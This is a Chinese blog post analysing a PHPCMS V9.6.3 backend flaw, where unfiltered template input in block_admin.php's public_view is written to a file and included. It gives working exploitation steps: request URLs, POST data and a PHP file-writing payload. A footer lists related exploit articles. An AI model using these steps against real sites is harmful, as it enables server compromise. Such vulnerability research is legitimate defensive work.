PHPCMS V9.6.3后台的漏洞分析

1、利用文件包含创建任意文件getshell

漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php

漏洞产生点位于265~272行:

  

1 if (@file_put_contents($filepath,$str)) {
2 ob_start();
3 include $filepath;
4 $html = ob_get_contents();
5 ob_clean();
6 @unlink($filepath);
7 }

可以看到使用file_put_contents函数将 $str 写入 $filepath 中并且包含该文件,查看$filepath和$str变量是否可控。

 1 public function public_view() {
2 $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit('0');
3 if (!$data = $this->db->get_one(array('id'=>$id))) {
4 showmessage(L('nofound'));
5 }
6 if ($data['type'] == 1) {
7 exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $_POST['data']).'\')</script>');
8 } elseif ($data['type'] == 2) {
9 extract($data);
10 unset($data);
11 $title = isset($_POST['title']) ? $_POST['title'] : '';
12 $url = isset($_POST['url']) ? $_POST['url'] : '';
13 $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
14 $desc = isset($_POST['desc']) ? $_POST['desc'] : '';
15 $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
16 $data = array();
17 foreach ($title as $key=>$v) {
18 if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
19 $data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', '&nbsp;'), $desc[$key]));
20 }
21 $tpl = pc_base::load_sys_class('template_cache');
22 $str = $tpl->template_parse(new_stripslashes($template));
23 $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
24 $dir = dirname($filepath);
25 if(!is_dir($dir)) {
26 @mkdir($dir, 0777, true);
27 }

可以看到变量 $template 可控,跟进 new_stripslashes()函数:

/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}

template_parse()函数:

/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
$str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
$str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
//for 循环
$str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
$str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
//++ --
$str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
return $str;
}

可以看到并无对 $template 的有效过滤,从而导致 $str 可控。再看漏洞产生点,是将 $str 写入文件中包含该文件,然后再将该文件删除。那么可以构造payload:

<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

接下来寻找怎么利用该漏洞,在函数 public_view() 中,跟入get_one()函数:

/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field); $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}

可以看到是查询一条数据,其 sql 语句为: select * from phpcmsv9.block where id=$id limit 1; 并且需要返回一个数组。否则报错 nofound。因此需要先使用 add() 函数插入一条

数据并且 type 字段为 2,跟进 add() 函数:

 1 public function add() {
2 $pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
3 if (isset($_POST['dosubmit'])) {
4 $name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
5 $type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
6 //判断名称是否已经存在
7 if ($this->db->get_one(array('name'=>$name))) {
8 showmessage(L('name').L('exists'), HTTP_REFERER);
9 }
10 if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
11 //设置权限
12 $priv = isset($_POST['priv']) ? $_POST['priv'] : '';
13 if (!empty($priv)) {
14 if (is_array($priv)) foreach ($priv as $v) {
15 if (empty($v)) continue;
16 $this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
17 }
18 }
19 showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
20 } else {
21 showmessage(L('operation_failure'), HTTP_REFERER);
22 }
23 } else {
24 $show_header = $show_validator = true;
25 pc_base::load_sys_class('form');
26 $administrator = getcache('role', 'commons');
27 unset($administrator[1]);
28 include $this->admin_tpl('block_add_edit');
29 }
30 }

可以看到第10行,会将 post 数据写入 v9_block 表中,如要将数据写入表中需要满足条件:

  1、$pos 不为空。

  2、$dosubmit 不为空。

  3、$name 不为空,并且 $type = 2。

  4、$name 不能与已有的数据重复。

于是构造 url : http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1

POST数据:dosubmit=1&name=test&type=2

这第一步访问上述地址将数据插入至v9_block表中。

可以看到 id 为4即为刚才插入的数据。接下来将payload写入文件。

构造 URL:http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4

POST数据:template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

访问:

注:要想利用成功,在往v9_block表中插入数据时需要判断 $pc_hash 是否合法,所以想要利用该漏洞需先获取$pc_hash的值。而pc_hash的值登录后台即可在url中获取。

PHPCMS V9.6.3的后台漏洞分析的更多相关文章

  1. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  2. 最新phpcms v9.6.0 sql注入漏洞分析

    昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...

  3. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  4. phpcms v9升级后台无法上传缩略图的原因分析

    phpcms V9 是目前国内使用人数最多的一款开源免费的CMS系统,正是由于他的免费性,开源性,以及其自身的功能性比较强大,所以倍受许多站长朋友们的亲来,以及许多的公司的喜欢.phpcms也为了完善 ...

  5. 利用phpcms后台漏洞渗透某色情网站

    本文来源于i春秋学院,未经允许严禁转载 phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析, ...

  6. phpcms v9.6.0任意文件上传漏洞

    距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来  越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...

  7. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  8. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  9. phpcms v9后台登陆验证码无法显示,怎么取消验证码

    phpcms v9后台登陆验证码无法显示论坛里关于这个问题貌似一直没有解决,查看源代码后发现,关键一点是获取验证码的图片与全局变量SITE_URL相关,也就是网站的目录, 所以只要修改cache/co ...

随机推荐

  1. 如何使用iMazing编辑iOS设备的备份

    乍一看,编辑iPhone或iPad的备份似乎是一个奇怪的命题,但实际上这样做的原因有很多,例如在备份数据损坏时进行修复,又如合并来自不同设备的数据. iMazing对备份文件编辑的支持非常全面,即使备 ...

  2. 借助Mac自带的强大的搜索功能,如何快速搜索打开Tuxera Disk Manager

    现在很多小伙伴们在遇到Mac读写NTFS格式硬盘问题的时候,都会选择使用Tuxera NTFS这个磁盘读写工具.因为这款读写工具不仅可以帮助我们进行读写工作,还具有一个磁盘管理工具Disk Manag ...

  3. Spring 对Apache Kafka的支持与集成

    1. 引言 Apache Kafka 是一个分布式的.容错的流处理系统.在本文中,我们将介绍Spring对Apache Kafka的支持,以及原生Kafka Java客户端Api 所提供的抽象级别. ...

  4. Educational Codeforces Round 92 (Rated for Div. 2) B、C题解

    TAT 第一场codeforces B. Array Walk #暴力 #贪心 题目链接 题意 有\(a1, a2, ..., an\) 个格子(每个格子有各自分数),最初为1号格(初始分数为\(a1 ...

  5. Arduion学习(一)点亮三色发光二极管

    这是我接触Arduion以来第一个小实验 实验准备: 1.查阅相关资料,了解本次实验所用到的引脚.接口的相关知识. 2.准备Arduion板(本次实验所用到的型号为mega2560).三色发光二极管. ...

  6. 学Python,只有不到15%的同学会成功

    我给大家唱首歌:<坚持的意义> 你看过了许多书籍 你看过了许多视频 你迷失在屏幕上每一道短暂的光阴 你品尝了代码的糟心 你踏过算法的荆棘 你熟记书本里每一段你最爱的公式 却说不出你爱Pyt ...

  7. Spring与Web环境集成

    1. Spring与Web环境集成 1.1 ApplicationContext应用上下文获取方式 应用上下文对象是通过new ClasspathXmlApplicationContext(sprin ...

  8. 推荐系统实践 0x09 基于图的模型

    用户行为数据的二分图表示 用户的购买行为很容易可以用二分图(二部图)来表示.并且利用图的算法进行推荐.基于邻域的模型也可以成为基于图的模型,因为基于邻域的模型都是基于图的模型的简单情况.我们可以用二元 ...

  9. Django的下载及命令

    安装 命令行 pip3 install django==1.11.11 测试是否安装成功 django-admin 创建django项目 django-admin startproject 项目名称( ...

  10. 记一次MySQL出现Waiting for table metadata lock的原因、排查过程与解决方法

    任务背景:将sql文件通过shell直接导入到mysql中执行(还原) bug表现:导入后java项目卡死 过程: 1.网上乱搜一通,无意间看到一篇文章,这篇文章说明了如何开启mysql的genera ...